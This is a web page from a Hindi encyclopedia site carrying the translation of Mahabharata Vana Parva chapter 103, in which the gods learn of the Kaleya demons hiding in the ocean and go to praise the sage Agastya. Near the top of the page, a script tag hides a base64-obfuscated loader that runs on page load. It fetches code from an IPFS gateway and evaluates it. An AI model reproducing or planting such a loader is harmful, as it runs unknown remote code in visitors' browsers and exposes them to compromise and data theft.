महाभारत वन पर्व अध्याय 103 श्लोक 1-18

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

त्र्यधकशततमो (103) अध्‍याय: वन पर्व (तीर्थयात्रापर्व )

महाभारत: वन पर्व: त्र्यधकशततमोअध्‍याय: श्लोक 1-18 का हिन्दी अनुवाद

भगवान विष्‍णु के आदेश से देवताओं का महर्षि अगस्‍त्‍य के आश्रम पर जाकर उनकी स्‍तुति करना देवता कहते हैं–प्रभो! जरायुज,अण्‍डज,स्‍वेदज और उद्विज इन चार भेदोवाली सम्‍प्रर्ण प्रजा आपकी कृपा ही वृद्धि को प्राप्‍त होती है। अभ्‍युदयशील होने पर वे प्रजाएं ही हव्‍य और कव्‍यों द्वारा देवताओ का भरण- पोषण करती है । इसी प्रकार सब लोग एक दूसरे के सहारे उन्‍नति करते हैं । आपकी ही कृपा सब प्राणी उद्वेगहित जीवन बताते और आपके द्वारा ही सर्वथा सुरक्षितर रहते है। भगवन् मनुष्‍यों के समक्ष यह बड़ा भारी भय उपस्थ्ति हुआ। न जाने कौन रात में आकर इन ब्रहृाणों का वध कर रहा है । ब्राह्माणों के नष्‍ट होने पर सारी पृथ्‍वी नष्‍ट हो जायेगी और पृथ्‍वी का नाश होन पर स्‍वर्ग भी नष्‍ट हो जायेंगा । भगवान्-विष्‍णु बोले-देवताओं! प्रजा के विनाश का जो कारण उपस्थित हुआ है, वह सब मुझे ज्ञात है। मैं तुमलोगो को भी बता रहा हूँ, नि‍श्चिंत होकर सुनो । दैत्‍यों एक अत्‍यन्‍त भयंकर दल है, जो कालेय नाम से विख्‍यात है। उन दैत्‍यों ने वृत्रासुर का सहारा लेकर सारे संसार में तहलका मचा दिया था । परम बुद्धिमानइन्‍द्र के द्वारा वृत्रासुर को मारा गया देख वे अपने प्राण बचाने के लिये समुद्र में जाकर छिप गये हैं । नाक और ग्राहों से भरे हुए भयंकर समुद्र में घुसकर वे सम्‍पूर्ण जगत् का संहार करने के लिये रात में निकलते तथा यहां ऋषियों की हत्‍या करते हैं । उन दानवों का संहार नहीं किया जा सकता, क्‍योंकि वे दुर्गम समुद्र के आश्रय में रहते हैं। अत: तुम लोगों को समुद्र को सुखाने का विचार करना चाहिए । महर्षि अगस्‍त्‍य के सिवा दूसरा कौन है, जो समुद्र का शोषण करने में समर्थ हो। समुद्र को सुखाये बिना वे दानव काबू में नहीं आ सकते । भगवान विष्‍णु की कही हुई यह बात सुनकर देवता ब्रह्माजी की आज्ञा ले अगस्‍त्‍य के आश्रम पर गये । वहां उन्‍होन मित्रावरुण्‍ के पुत्र महात्‍मा अगस्‍त्‍यजी को देखा। उनका तेज उद्धासित हो रहा था। जैसे देवतालोग ब्रह्माजी के पास बैठते है, उसी प्रकार बहुत से ऋषि–मुनि उनके निकट बैठे थे । अपनी महिमा से कभी च्‍युत न होने वाले मित्रावरुण नन्‍दन तपोराशि महात्‍मा अगस्‍त्‍य आश्रम में ही विराजमान थे। देवताओं समीप जाकर उनके अद्भुत कर्मों का वर्णन करते हुए स्‍तुति की । देवताबोल –भगवन्! पूर्वकाल में राजा नहुष के अन्‍याय से संतप्‍त हुए लोको की आपने ही रक्षा की थी। आपने ही उस लोककण्‍टक नरेश को दवेन्‍द्र पद तथा स्‍वर्ग से नीचे गिरा दिया था । पर्वतों में श्रेष्‍ठ विन्‍ध्‍य सूर्यदेवपर क्रोध करके जब सहस बढने लगा, तब आपने ही उसे रोका था। आपकी आज्ञा का उल्लंघन न करते हुए विन्‍ध्‍यगिरि आज भी बढ़ नहीं रहा हैं । विन्‍ध्‍यगिरि के बढ़ने से जब सारे जगत् में अन्‍धकर छा गया और सारी प्रजा मृत्‍यु से पीडि़त होन लगी। उस समय आपको ही अपना रक्षक पाकर सबने अत्‍यन्‍त हर्ष का अनुभव किया था । सदा आप ही हम भयभीत देवताओं के लिये आश्रय होते आये हैं। अत: इस समय भी संकट में पड़कर हम आपसे वर मांग रहे हैं, क्‍योंकि आप ही वर देने के योग्‍य हैं ।



« पीछे आगे »

टीका टिप्पणी और संदर्भ

संबंधित लेख

साँचा:सम्पूर्ण महाभारत अभी निर्माणाधीन है।